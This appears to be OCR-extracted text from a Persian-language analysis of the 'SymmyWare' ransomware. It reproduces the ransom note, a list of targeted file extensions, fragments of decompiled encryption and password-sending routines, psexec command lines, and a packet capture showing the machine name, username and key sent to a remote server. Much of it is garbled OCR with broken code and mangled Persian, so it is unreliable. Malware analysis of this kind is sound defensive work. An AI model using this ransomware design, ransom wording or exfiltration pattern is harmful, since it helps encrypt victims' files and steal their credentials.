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Q¥ Process Explorer - Sysinternal wsysintetna 1 [GRUIA\ Gruga] il
File Options View Process Find Users Help
I TOE=10TE Y R o e ] mme | f s——s {7y
Process VeusTotal | CPU  Private Bytes | WokingSet  PID Descripti ~
(5] svehost exe /83 2.160K 12692K 65964 Host Proc
[-]svchost exe X 2392K 7200K 7160 Host Proc
[%:|svchost exe X 3472K 7580K 7904 Host Proc
| [7]svchost exe 0/63 1560 K 5524 K 4716 Host Proc
(7] avchost exe 0763 2,700K 9520K 8708 Host P
(7] svchost exe 063 6.228K 20624 K 3236 Host Proc
(7] svchost exe 063 <001 4532K 15084 K 3412 Host Proc
= {9 ksde exe /68 22776 K 5768 K 8732 Kaspersk:
R kadeu exe 1467 6.956 K 4308 K 8944 Kaspersle
[#]avchost exe 0/63 209K 8172K 6192 Host Proc
[#7] SgmBroker exe 0/65 1560 K 3008K 1040 System G
(7] swchost exe 0/63 834K 16,304 K 1440 Host Proc
(7] svchost exe /63 1420K 5908 K 7204 Host Proc
Ti-lsass.exe /68 6,128K 15528K 932 Local Sec
# | fontdrvhost exe 1652K 3788K 640
| cerss exe 0.55 2680K 5620K 860
&) W | winlogon exe 2,433K 9400K 976
<)) RAVCpIS4 exe o082 4136K 12864 K 3032 Realtek F
© ToolwizTimeFreeze exe 231 5472K 16,888 K 4712 Toolwiz
2 procexpb4 exe. /63 0.89 15,784 K 32688 K 7660 Sysntem:
32/56
0/67
1/67
170

CPU Usage: 47.22% Commit Charge: 53.88% Processes: 120 Physical Usage: 61.14%
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| SYMMYWARETXT - Notepad - = | B e

File Edit Format View Help

All your files was ciphered by Strong algorythm AES-128.

Take your time, no one will be able to decrypt your files without our decryption service.

To decrypt files, pay $ 0 in Bitcoins. If you do not have 0 bitcoins (everyone has it) then go to the site
localbitcoins.com and there send to our wallet (which we do not have) and write to the mail
simmyware@protonmail.ch to get the key and the decoder.

we advise you not to mess around because you still do not restore their hands.

we've also encrypted all your drives, files on your hard drives and network drives.

AES-128 1is the Most reliable military-grade cryptographic algorithm.

There's no way to hack it, not even with a supercomputer.

The file cutter will start in 48 hours.

Don't be stupid and ugly Tike Patrick.

Any hacking attempts can fuck all of your data and the locker will turn them into pee-pee.

Good luck. Goodbye.

P.S I'm not spreading, and T can't

P.P.S. The best time to send a letter: after November 25 (while we register the mail), and the fact that we
wrote about 48 hours - it was a joke. we do not count down the time until the system is removed.
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Windows, Program Files, Program Files (xA1)

.txt, .doc, .docx, .xls, .xIsx, .ppt, .pptx, .odt, jpeg, .png, .csv, .sql, .mdb, .sln, .php, .asp, .aspx,
.html, .xml, .psd, .sql, . mpé, .vz, .rar, .mé&a, .wma, .avi, .wmv, .csv, .drdbsp, .zip, .sie, .sum,
.bank, .t 1, .t 11, .qdf, .gdb, .tax, .pkpass, .bc 7, .bcV, .bkp, .qic, .bkf, .sidn, .sidd, .mddata, .itl,

.itdb, .icxs, .hvpl, .hplg, .hkdb, .mdbackup, .syncdb, .gho, .cas, .svg, .map, .wmo, .itm, .sb,
Jos, .mov, .vdf, .ztmp, .sis, .sid, .ncf, .menu, .layout, .dmp, .blob, .esm, .vcf, .vtf, .dazip, .fpk,

.mlx, .kf, .iwd, .vpk, .tor, .psk, .rim, .wr¥, .fsh, .ntl, .arch + -, .Ivl, .snx, .cfr, .ff, .vpp_pc, .Irf, . m?¥,
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.mcmeta, .vfs+, .mpqge, .kdb, .db -, .dba, .rofl, .hkx, .bar, .upk, .das, .iwi, .litemod, .asset,
forge, .Itx, .bsa, .apk, .reé, .sav, .lbf, .slm, .bik, .epk, .rgssra, .pak, .big, wallet, .wotreplay,
xxx, .desc, .py, .mru, .flv, .js, .css, .rb, .pVc, .pkV, .pVb, .p 1Y, .pfx, .pem, .crt, .cer, .der, .x1¥,
.srw, .pef, .ptx, .rrd, .rwr, .rwl, .raw, .raf, .orf, .nrw, .mrwref, .mef, .erf, .kdc, .dcr, .cr¥, .crw,

.bay, .sr ¥, .srf, .arw, .1fr, .dng, .jpe, .jpg, .cdr, .indd, .qi, .eps, .pdf, .pdd, .dbf, .mdf, .wb 7, .rtf,

.wpd, .dxg, .xf, .dwg, .pst, .accdb, .mdb, .pptm, .pptx, .ppt, .xlk, .xIsb, .xIsm, .xIsx, .xls, .wps,
.docm, .docx, .doc, .odb, .odc, .odm, .odp, .ods, .odt, .veg, .ico, .Ink
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"SYMMYWARE" v\J‘)_.\Mi LAJiLQ LS.)‘KJ"J ‘)\ oS OJJS 6J\J\§)AJ ﬁ) b Ml}@ (_SMULQ Qb) LY LéQT

S e Lol ol slesl w1

@C@" » » Computer » Media (E)

Organize ~ Include in library ~ Share with = Burn MNew folder

-~ Favarites MName Date modified Type . Size
SYMMYWARETXT 11/5/2018 6:33 PM  Text Document 2 KB
- Libraries ald mp4. SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 48,437 KB
‘- Documents Lb.rar.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 29,909 KB
4 Music test file (3).jpg.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 226 KB
= Pictures test file (2).mp4.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 801 KB
B videos test file (2).doex.SYMMYWARE ~ 11/5/2018 6:33 PM  SYMMYWARE File 539 KB
test file (1).rar.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 72,215 KB
& Computer test file (1).pdf.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 510 KB
& Local Disk (C) test file (1).mov.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 1,536 KB
w» Media (E) test file (1).jpg.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 404 KB
test file (1).dwg.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 115 KB
€ Network test file (1).doex.SYMMYWARE ~ 11/5/2018 6:33 PM  SYMMYWARE File 12 KB
Dr).zip.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 45,882 KB
dnSpy.zip.SYMMYWARE 11/5/2018 6:33 PM  SYMMYWARE File 23,553 KB
test file (1).srt 5/28/2017 8:03 PM  SRT File 66 KB
test file (1).PNG 3/11/2018 3:22 PM  PNG image 12 KB
2] test file (2).mp3 2/3/2018 4:45 PM MP3 Format Sound 4,069 KB
2] test file (1).mp3 3/13/2018 3:07 PM  MP3 Format Sound 6,233 KB
test file (1).m 1/22/2018 6:40 PM M File 2 KB
test file (1).kmz 3/14/2018 6:35 PM  KMZ File 1KB
test file (1).key 4/29/2013 1:00 PM  KEY File 1KB
= test file (2).JPG 3/15/2018 1:57 AM  JPEG image 134 KB
gﬂ test file (1) 12/6/2006 10:18 PM  Internet Shortcut 1KB
test file (2).bak 1/31/2018 8:05 PM  BAK File 90 KB
test file (1).bak 1/31/2018 10:19 PM  BAK File 83 KB
E test file (1).exe 3/7/2018 2:04 PM Application 5442 KB
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B Windows Task Manager == S

|App|ications| Processes I Sen.rices| Performance |Networking | Users |

File Options View Help |

CFU Usage CFU Usage History

\'I A II"|\| 'lfl,.lf'll P A

||| I| I.I'||| n |||'l|u|"l.|

|
=
|
1
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T
|

Physical Memory (MB) System

Total 2047 Handles 15292

Cached 1223 Threads 598

Available 12986 Processes 50

Free 75 Up Time 0:01:15:42
Commit (MB) 1076 / 4094

Kernel Memory (MB)

Paged 108

Monpaged 45 “¢ Resource Monitor...

Processes: 50 CPU Usage: 4% Physical Memory: 36%
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AP & test file (1).mp4 )85 1 LS | AP test file (1.mp4 SYMMYWARE | &)1d8 ey 31 das
00000000 00 01 02 03 06 07 02 09 0a Ob Oc 0d Oe Of f 00000000 00 01 02 03 04 05 06 07 02 09 0a Ob Oc 0d Oe Of

00000000 00 00 00 18 &6 74 79 70 6d 70 34 32 00 00 00 00 | = 00000000 79 2c 86 96 52 c0 ed 0a 83 23 7e 91 31 77 bd 03 Y,T—Rj!i.f#-u‘lh‘"i.
00000010 69 73 6f &d &d 70 34 32 00 03 1b 66 &d 6f 6f 76 isommp42...fmoov = 00000010 e3 46 be 31 1c 36 ab 10 18 ae 08 b4 3c 0d 56 18 aF¥l.6x..®. <.V,
00000020 00 00 00 6c &d 76 68 64 00 00 00 00 d3 £3 89 45 ...lmvhd. . ..08%E 00000020 bf 2d ce 3d 94 3f 06 284 09 7e S5a a7 7Te b2 12 32 ;,—i:"'}.,,.-ZS-‘.Z
00000030 d3 £3 €9 45 00 01 S5£ 90 02 €3 29 24 00 01 00 00 Go%E 00000030 33 02 46 le eb 14 fa 2c 4b B8 19 9a 10 90 36 dé 3.F.8.4,K".3. &0
00000040 01 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 . 00000040 80 0d 43 85 ¢c1 72 2b 7c e6& Tb ab 97 £f 5b 5a el E.CJ‘LrHa[x—y[Zé
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 Q1 00 Q0 00000050 16 34 56 €d (Oe 09 d3 g6 87 55 12 82 99 ef 3e 17 .4W..0T$U.,‘i>.
00000060 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00000080 52 a2 c2 &0 ba dc 9a d3 B9 B9 93 g6 &b 51 a5 2d Raﬁ'"ﬁéé&.‘_’,"'fkﬁ?’—
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 Q0 00000070 Sb df fe 43 9 2f £2 0c cb 3d 24 b2 55 c0 45 da [ﬂiCi!ﬂ.EF?UﬁEﬁ
00000080 00 00 00 00 00 00 00 00 00 00 00 03 00 01 de 2c B 00000080 cé a3 8f bc 16 €0 3c 01 d7 el 90 7d 66 &7 €1 le EE %.°<.%d }fg .
00000030 74 72 €1 6b 00 00 00 5c 74 6b 68 64 00 00 00 03 trak...\tkhd.... 00000030 b7 08 e5 €2 4f 87 db f0 8d a3 30 b5 51 67 cé 74 -.Ab0+(a £0pQgET
000000a0 d3 £3 €9 45 d3 £3 89 45 00 00 00 01 00 Q0 00 00 GOLEGESE . 000000a0 dS bd Sf Sc 4b 2c 2e dd 92 d9 ec 28 4f 0a 25 le 6‘57\}(, .‘f'tli(().%.
000000b0 02 63 29 08 00 00 00 00 00 00 00 00 00 00 00 00 C)eann 000000b0 9a 22 91 28 83 92 f5 78 47 a9 c2 bc 92 47 Tb 09 é"‘(f’ﬁxﬁ@f\‘«i’ﬁ[.
000000cO 00 00 00 00 00 01 00 00 00 00 00 00 00 QO 00 00 000000c0 9c e3 61 32 fa fe 2c e2 ae 48 B85 £f 38 93 7Te 9% wda2ip, A8H. FE~Y
00000040 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00000040 e5 42 43 59 €6 96 a7l ee 03 9 a3 59 4e 1b a4 eb &BCYE-§I.EEYN.mE
0000000 00 00 00 00 40 00 00 00 05 00 00 00 02 d0 00 00 000000e0 fe Ob le 70 10 £5 c9 ae €3 fc d5 2a 77 d9 39 93 b..p Eacuf*wio™
000000£0 00 00 00 24 &5 64 74 73 00 00 00 1lc &5 6c 73 74 000000£0 ff ec 93 b3 0Ob d2 3f cB df 45 dd 76 2e 5d 39 bS5 f}i".O?f.EE‘fvilgp
00000100 00 00 00 00 00 00 00 01 02 €3 29 08 00 Q0 Ob b& 00000100 ae 94 60 4e 3d be dB 39 ce 89 dc 06 fe 17 c9 b3 l‘&"‘N=qIDQT‘.'."U.b.E"
00000110 00 01 00 00 00 01 dd ad 6d 64 69 61 00 00 00 20 00000110 cd ee d2 c5 f0 ad 5c Tc S5e dc at d2 £f8 93 b3 eb iﬁBﬂSG—\\“ﬁ “Dem e
00000120 6d 64 62 €64 00 00 00 00 d3 £3 B89 45 d3 £3 g9 45 00000120 9c 81 0f 82 64 Ta 64 00 fd 7d ae 01 f£fb 62 90 0d . . dzd.¥)}e®.0b .
00000130 00 01 5f£ 90 02 &3 29 08 55 c4 00 00 00 00 00 47 00000130 e5 ea c5 86 12 df 2f &4 4f fb Ob 8d 72 9d 71 Sb Séﬂf.ﬂfdm. r gl
00000140 68 64 6c 72 00 00 00 00 00 00 00 00 76 €9 64 65 00000140 af cf 42 ca cd 36 ce cf 57 15 ff c7 «cl fa b2 fa 73B¥§'.I‘6if'ﬂ.?§§ﬂ’ﬁ
00000150 00 00 00 00 00 00 00 00 00 00 00 00 49 53 4f 20 00000150 32 37 21 3b b2 c& 00 81 £9 bc af 41 £f4 41 20 a9 2 SE. UM RA
00000160 4d 65 64 69 61 20 66 69 6c 65 20 70 72 6f 64 75 Media file produ 00000160 72 ee Se 9f da c7 Oc al a6 01 42 27 12 ae a3 66 ri“Yﬁ(}.H.é'.m{f
00000170 63 65 64 20 &2 79 20 47 6f 6f &7 6c 65 20 49 Ee ced by Google In 00000170 la 2e ac e 4e e2 00 &8 dS e4 22 99 7Tb cg& 45 fa ..—-éNé.h(u)'a""(EEﬁ
00000180 63 2e 00 00 01 dd 35 &d €9 6e 66 00 00 00 24 64 00000180 0e 22 76 a8 b0 ef 2f d0O c9 19 bé 38 el 19 4e e4 " °3/DE. Q84 . NE
00000190 69 e 66 00 00 00 1lc &4 72 €5 &6 00 00 00 00 00 00000190 4e e5 36 44 54 b9 43 ef la 1f £5 4d 79 95 74 &2 NEGDT‘Ci..EHy'tb
00000120 00 00 01 00 00 00 Oc 75 72 6c 20 00 00 00 01 00 i 00000120 c3 0f 9 a2 la b4 289 54 f1 7f 44 79 20 e5 22 47 i

File Comparison

Pl EIFFE]

G (sl @l | @

Type Offset (Source) Offset (Dest) Size

Inserted 43,510,270 43,510,270 12

Josd> S s s bk e Dl 5 a5 AL e 131U startAction() wU a by e 5 US ankad

startAction
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CreateRandomString(\o,)

_restart_explorer()

S oSt 03 50 slalis,

GetlLogicalDrives()

350 o o3kl 35 g0 (gla gl 5o L}.'»l_,}b.éc,.@.?clj o

encryptDirectory(,)

sla Ll 5 Lag) s 1l G505 40 by e (‘jb !

JMJL:L;« o)u‘ J)jﬂ

messageCreator()

CheckForlnternetConnection()

Jmae ol SLE s &S AS o s 16 )

s bl

SendPassword()

it S e 1 b ye ST (sl ) 53 L
JJ_LS)_}JWM<L&JiL9 6)\’\§)‘)‘U'19)-’j‘ J)J”"f: O(M

g 4 ($ SIS V0 sy S oS AsL . CreateRandomString (Y o,) &b« Loy e 555 IS ankad

DS e sl SL 3 s gl ;ﬂjmjuc}ilét;)\.lfy)qe—dé:@

CreateRandomString(int, string) : string

der

om

< length--)

stringBuilder.App

stringBuilder.Tc

d(str[random.Next(str.

Stri

Sl $ s oo sheST Sahy of slsls Las wsl . _restart_explorer() @U by 53 U8 anks

Py
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_restart_explorer() : void

bed 1Bl Sl eslaad L lEL as alL GetLogicalDrives() &b« by g5 A askad

S o Sl b BB (08 ey S U SL A s S0 2 25 e sl

Directory X

()

1(SecurityPerm

(logicalDri
;s
num JlogicalDrin

num2
(num Bu)

({num & 1u) != Bu)

num2++;

[1 ar [num2] ;

[1 array2 =

[1

3.
num JlogicalDrin
num2

um != Bu)

{
= Bu)

{({(num & 1u)

array[num2++] (array2);

num3 = @;
array3[num3] += "\

array;

Slas, S pls 5 La lul 0T Jly51 3 L 45 A3l e encryptDirectory(,) mb « bs o 5 S anss
. J)ML;G LS)“)‘ff) )‘f‘cb dAa )0
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encryptDirectory(String, String) : Void

ry(location , password

(location)
(location)

directories(j director

o Al el & Ls,e LG Szl e Adl s messageCreator() &b« Lye 3 dS ankad

LS o 3l SIMMYWARE.TXT 0l i s 5 ks (slas, 555 uls

messageCreator(string) : void

the mail)

TXT", contents

askas ol sheslaal bl 58l glh s At CheckForinternetConnection() &b« Lye 3 dS ankad

DS o s P e 53 1 ol 4 lail Cnd S
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CheckForlnternetConnection() : bool

bClient webClient WebClient())
(webClient.

result =

V.:_M..“Mglaﬁf Sl GU gl Sl e L as uiL . SendPassword() qukﬁf R IS akad

SendPassword(string) : void

password)

[]

password

addre

WebClie

i AS asdad s la LU (6108 505 G 3 g Sl 4 by e ey 5 odal Cowdy S 5Kk (gaals

Do) edalin &G

«ctor() : void

CDEFGHIJKLMR
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“’\—."L"”d"‘ oalaul LS:':" \YA CBC dl;— DL, AES LS)KJJA) (":’.’.))ﬁ‘ )‘ )‘jﬁ‘cl.a V'P)'“ a)u‘ Y )}bw
R RIS SRR

AES_Encrypt(byte[], byte[]) : byte[]

[] bytesToBeEncrypted, [] passwordBytes)

eam

rijndaelManaged =

s(passwordBytes,
jndaelMan,
rijndaelMana

eam(memor , rijndaelMan tor(), Cr treamMode

U dsles il sl Sl e sdle a5 WAL s EncryptFile() wU a by e 5 A askd
L 2l 2 sy Move(,) b 5l oslizad b il o S 505 o, S 4 b g e S AES_Encrypt(,)

: MJ& J’.".‘.‘.’" ”SYMMYWARE" 4.’ b ‘)‘JB\CL, da b)j.n

EncryptFile(string, string) : void

; file, ‘ring password)

=[] bytesToBeEncrypted = z es(file);
e[] a n - tes(password);
array = S < > s (array);
ce[] bytes this. < bytesToBeEncrypted, array);

(file, '
(file,
(file, file + "

S el S ol e 4 5 (g3 s Abuls 31 ket SymmyWare ARIZL e okl sl ol 1 L

LS o oslizal (O

mscoree.dll

_CorExeMain
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Laasliols 5l eldS a5l ol 85 ol o 4 (g5 slaailbuls 5l SymmyWare 5314 ol L L

u—i‘ J.ALS C—w«g Cemad RS PV JJL; u"}" 4 U&A\al}utg ui| ‘)\ oaleul cﬁ‘y.aj BE "'\"SL;Q eslaul

el odal e (gaalsl 53 5 ealital 5 e =l ol e 4 Laalils

| IDA View-A = = Hesx View-1 B [ = Structures B [ = Enums =1
-idata:884126E8 ;
-idata:884126E0 ;fImports from MSUCRT_ﬂllI
-idata:e04126E0 ;
-idata:904126E0 :
-idata:B804126E0
_.idata:8es126E8 ; Segment tuype: Externs
-idata:884126E8 ; iddata
_idata:@es126E0 ; woid =__ cdecl memset(wvoid =Dst, int Val, size_t Size)
_idata:Bes126E8 extrn __imp_memsetsdword - DATA HREF: memsetTe

COMCTLYY.DLL ‘ WINMM.DLL

_idata:
-idata:
-idata:
-idata:
-idata:
-idata:
-idata:
-idata:
_idata:
-idata:
-idata:
_idata:
-idata:
-idata:
-idata:
-idata:
_idata:
-idata:
-idata:
_idata:
-idata:
-idata:
-idata:
-idata:
_idata:
-idata:
-idata:
_idata:
-idata:
-idata:
-idata:
-idata:
_idata:
-idata:
-idata:
_idata:
-idata:
-idata:
-idata:
-idata:
_idata:
-idata:
-idata:
_idata:

O00L126ES
884126E8
g84126EC
g04126EC

004126F8
884126F8
g84126FC
804126FC

004127 08
884127 688
984127 68C
e0412710

oes12741C
88412728
98412720
0041272,

00412730
884127380
98412730
00412730

0Os12734

; -data:@8gu123saTo

s int cdecl strncmp{const char *=Strl1, const char *Str2, size_t MaxCount)

extrn __imp_strncmp:dword : DATA XREF: strncmpTe

; void % cdecl memmove{uvoid =DPst, const void =Src, size t Size)
extrn ___imp_memmove :dword : DATA XREF: memmovetr

: char = cdecl strncpy{char =Dest, const char =Source, size_t Count}
extrn __imp_strncpu:idword ; DATA XREF: strncpulr

s char *__ cdecl Strstr(const char *Str, const char *SubStr)

extrn _ imp_strstr:dword : DATA HREF: strsterTe
: int _ cdeecl _strnicmp{const char =Str1, const char >Str, size_t MaxCount)
extrn ___imp__strnicmpzdword : DATA XREF: _strnicmpTe
; int _ cdecl _stricmp{const char =Str1, const char =Str2}
extrn __imp__stricmp:idword : DATA XREF: _stricmpler
: size_t _ cdecl strlen{const char =Str)
extrn __imp_strlen:dword : DATA XREF: strlenTr
; int _ _cdecl strcmp{const char =Str1, const char =Str2)
extrn _ imp_strcmp:dword : DATA HREF: strcmpTe
5 wvoid »_ cdecl memcpy(void =Dst, const wvoid xSrc, size t Size)
extrn __imp_memcpyzdword - DATA XREF: memcpulr
; int sprintf{char =Dest, const char =Format, .__._
extrn ___imp_sprintf:idword : DATA XREF: sprintéle
extrn _ _imp_ fabs:dword : DATA XREF: fabsTe
extrn ___imp_ceil:idword : DATA XREF: ceilTr
: void =__cdecl malloc(size_t Size)
extrn _ imp _malloc:dword : DATA HREF: mallocTsr
extrn ___imp_floor:zdword : DATA XREF: floorTe
: void __cdecl free{uoid =Memory)
extrn _ imp_free:dword : DATA XREF: freelr
: int _ _cdecl fclose(FILE =File}

: DATA XREF: _text:B8040FD13Tr
const char =Source)
DATA XREF :

extrn fclose:-dword
; char =_ cdecl strcpu{char =Dest,
extrn _ imp_strcpyzdword :

__cdecl tolower{int C
extrn __imp_ tolower :dword

strcpyter
: dint

: DATA XREF: tolowerTr

;IImpnrts From KERNELaz.ullI

: HMODULE _ stdcall GetHModuleHandleA(LPCSTR lpHoduleName)
extrn __imp_GetModuleHandlen zdword
: DATA XREF: GetModuleHandleAaTr
; -data:eosizagsto
: HAMDLE __stdcall HeapCreate({DWORD flOptions,., SIZE_T dwInitialSize, SIZE_T duMaximumSize)

=trn imp_HeapCreate:dword ; CODE XREF: sub_hOC160+9Tp

OLEYY.DLL SHELLY'Y.dII ‘ SHLWAPI.DLL

InitCommonControl | timeBeginPeriod RevokeDragDrop @ ShellExecuteExA = PathRemoveArgsA
sEx CoTaskMemFree PathAddBackslashA
Colnitialize PathQuoteSpacesA

GDIYY.DLL
GetObjectA

DeleteDC

SelectObject
GetTextExtentPointyYA

GetStockObject
CreateBitmap
SetPixel
CreateSolidBrush
GetDIBits
GetObjectType
BitBIt

SetBkColor
CreateDIBSection
CreateCompatibleDC
DeleteObject
SetTextColor

MSVCRT.dII

PathGetArgsA
PathUnquoteSpacesA
PathRenameExtensionA

KERNELY'Y.dlI KERNELY'Y.dlI KERNELY'Y.dII

strncmp CreateDirectoryA GetNativeSysteminfo GetTempFileNameA
malloc DeleteFileA GetEnvironmentVariableA = GetSystemDirectoryA
strstr GetWindowsDirectory | HeapFree HeapReAlloc

tolower A EnterCriticalSection SetEnvironmentVariableA
fabs MultiByteToWideChar | HeapCreate SetFileAttributesA

memmove HeapSize FreeLibrary GetExitCodeProcess
memset GetCommandLineA HeapDestroy TerminateProcess
fclose GetProcAddress HeapAlloc GetModuleFileNameA
memcpy SetFilePointer TlsAlloc InitializeCriticalSection
_stricmp GetTempPathA GetVersionExA LoadResource

floor WideCharToMultiByte LoadLibraryA SetCurrentDirectoryA

strcpy
sprintf

GetModuleHandleA
ReadFile

Sleep
CreateFileA

RemoveDirectoryA
GetShortPathNameA

_strnicmp SetUnhandledExceptio | DeleteCriticalSection ExitProcess

free nFilter GetCurrentProcess GetCurrentThreadld
ceil WriteFile SizeofResource FindResourceA
strlen GetCurrentDirectoryA GetFileSize

\o
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strcmp GetCurrentProcessld

strncpy CloseHandle
USERYY.DLL ‘ USERYY.DLL USERYY.DLL USERYY.DLL
SetFocus GetWindowTextLengthA | IsWindowEnabled = CharUpperA
RedrawWindow DestroyAcceleratorTable = GetWindow LoadCursorA
GetForegroundWindow GetSysColorBrush GetSysColor LoadlconA
GetParent CallWindowProcA SetActiveWindow = GetMessageA

ReleaseDC

SetPropA

FillRect

EnumWindows
RegisterWindowMessageA
DefWindowProcA
ShowWindow
GetSystemMetrics
GetWindowThreadProcessld

GetClassNameA GetDC GetActiveWindow
GetFocus GetKeyState CreateWindowExA
MsgWaitForMultipleObj = DrawTextA RegisterClassA
ects RemovePropA SetRect
TranslateAcceleratorA DefFrameProcA GetWindowLongA
GetWindowTextA Destroylcon GetPropA

CreateAcceleratorTableA | UnregisterClassA
IsWindowVisible

IsChild
DestroyWindow

SetWindowPos
GetClientRect

SetlLastError
LeaveCriticalSection

| USERY'Y.DLL
CharLowerA
GetWindowRect
DispatchMessageA
EnableWindow
PostMessageA
EnumChildWindows
MessageBoxA
PeekMessageA
SetWindowLongA
AdjustWindowRectEx
TranslateMessage
SendMessageA

S e sl 1 s sbadnl B 1l Sl e SymmyWare 15310 @b S s gla sy ol

e jisMIDfmBgdeF.exe

o B lemd.exe /c "%TEMP%\V°FY.tmp\1 7+ £.bat C:\jisMIDfmBgdeF.exe"

O O O O

explorer.exe
explorer.exe

B psExec.exe psexec hyBrDFjOidLuty.exe /accepteula -s —high
@hyBrDFiOidLutv.exe /accepteula -s —high

HPCOR- RS WE,
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https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00009542-00003528
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010169-00002696
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010197-00003608
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010774-00002116
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00011478-00003308
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00014620-00003000
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[icp-sipom eq 1

.

Time source
87 196089269 192.168.1.35

88 196.028827  173.208.195.156

89 196.028913  192.168.1.35
90 196.829313 192.168.1.35

91196.853631  173.208.195.156
02 196.486990  173.208.195.156

189 196.695577 192.168.1.35

Destination
173.208.195.156
192.168.1.35
173.208.195.156
173.208.195.156
192.168.1.35
192.168.1.35
173.288.195.156

Protocol

Length  ifo

66 49191 + 88 [SYN] Seq=@ Win=8192 Len=@ MS5-1468 WS=256 SACK_PERM=1
66 B0 + 49191 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len-@ M55-1484 SACK_PERM=1 W5=256

5449191 + 89 [ACK] Seq=1 Ack=1 Win=

65792 Len=0

227 GET Jwrite.php?info=ComputerX20-%20WIN-TOCDPFD33VGX20UsernaneX20-X205SADEGHR20Pas sword%20-%20751WFQI3 TquFk=u HTTP/1.1
60 86 + 49191 [ACK] Seq=1 Ack=174 Win=38464 Len=6
536 HTTP/1.1 382 Found (text/html)
54 49191 + 88 [ACK] Seq=174 Ack=483 Win=65280 Len=0

Frame 87: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @
Ethernet II, Src: Vmware 63:96:84 (9:0c:29:63:96:84), Dst: ZyxelCom 99:36:cc (58:8b:¥3:99:36:cc)

Int

ernet Protocal Version 4, Src

192.168.1.35, Dst: 173.268.195.156

Transmission Control Protocol, Src Port: 49191, Dst Port: 88, Seq: @, Len: @

58 Bb f3 99 36 cc @ Oc 29 63 96 B4 05 00 45 80 X...6... )c
©0 34 @2 Sb 40 60 20 66 BB 00 c@ a8 @1 23 ad d@ o
€3 9c c@ 27 09 50 aa 02 49 7b 0@ 99 00 00 8O 02 I{
20 2 33 5f 60 00 @2 64 BS bd 01 @3 03 88 01 01 .
o4 a2
Source Destination Protocol
95 196.542950 192.168.1.35 72.9.150.244 e
96 196.562343  72.0.150.244 192.168.1.35 (]
97 196.562463 192.168.1.35 72.9.150.244 TP
98 196.562988 192.168.1.35 72.9.150.244 HTTP
99 196.586232  72.9.150.244 192.168.1.35 P
100 196.592011 72.9.150.244 192.168.1.35 P
101 196.599226  72.9.150.244 192.168.1.35 Tce
102 196.599291  192.168.1.35 72.9.150.244 (]
103 196.605601  72.9.150.244 192.168.1.35 TP
104 196.611529 72.9.150.244 192.168.1.35 Tce
105 196.611600  192.168.1.35 72.9.150.244 (<]
106 196.618121 72.9.150.244 192.168.1.35 T
72.9.150.244 192.168.1.35 HTTP
192.168.1.35 7. 50.244 TCP

Length  mfo

WYY AN0007 sl w0 by o 151 e

66 49192 » 80 [SYN] Seq«® Win=8192 Lensd MSS=1460 WS=256 SACK_PERMe1

66 80 + 49192 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MS5-1404 SACK_PERM=1 WS=256
54 49192 » 80 [ACK] Seq=1 Ack=1 Win=65792 Len=0
136 GET /403.html HTTP/1.1

60 80 + 49192 [ACK] Se
1458 80 » 49192 [ACK] Se
1458 80 + 49192 [ACK] Se

5449192 » 89 [ACK] Se

405 Ack=83 Win=29440
3 Ack=2809 Win=65792

1458 80 » 49192 [ACK] Seq=2809 Ack=83 Win=29440

1458 80 » 49192 [ACK] Se
54 49192 » 80 [ACK] Se

213 Ack=83 Win=29440
3 Ack=5617 Win=65792

1458 80 + 49192 [ACK] Seq=5617 Ack=83 Win=29440

80 HTTP/1.1 200 OK

(text/html)

54 49192 » 80 [ACK] Se:

Ack=83 Win=29440 Len=0
Ack=83 Win=29440 Len=1404 [TCP segment of a reassembled PDU]

Len=1404 [TCP segment of a reassembled PDU]
Len=0
Len=1484 [TCP segment of a reassembled PDU]
Len=1404 [TCP segment of a reassenbled POU]
Len=0
Len=1404 [TCP segment of a reassembled PDU)

Len

HED -] Egression.. +

Frame 95: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @

Ethernet II, Src: Vmmare_63:96:84 (00:0c:29:63:96:84), Dst: ZyxelCom_99:36:cc (58:8b:f3:99:3
Internet Protocol Version 4, Src: 192.168.1.35, Dst: 72.9.150.244

L

H

Protocol, Src Port: 49192, Dst Port: 8@, Seq: @, Len: @

Frame 77: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
Ethernet II, Src: Vmware_63:96:84 (00:0c:29:63:96:84), Dst: ZyxelCom_99:36:cc (58:8b:f3:99:36:cc)
Internet Protocol Version 4, Src: 192.168.1.35, Dst: 172.217.21.228
Transmission Control Protocol, Src Port: 49190, Dst Port: 443, Seq: 393, Ack: 45910, Len: @

58 8b f3 99 36 cc 80 Oc

01 02 84 a3 00 00

29 63 96 84 08 00 45 00
00 28 02 57 40 00 80 06 00 00 c@ a8 01 23 ac d9
15 e4 c@ 26 01 bb e3 67 cb 9d 56 1f 37 10 50 10

WYNVIVYYA gl bog e S35 Y s

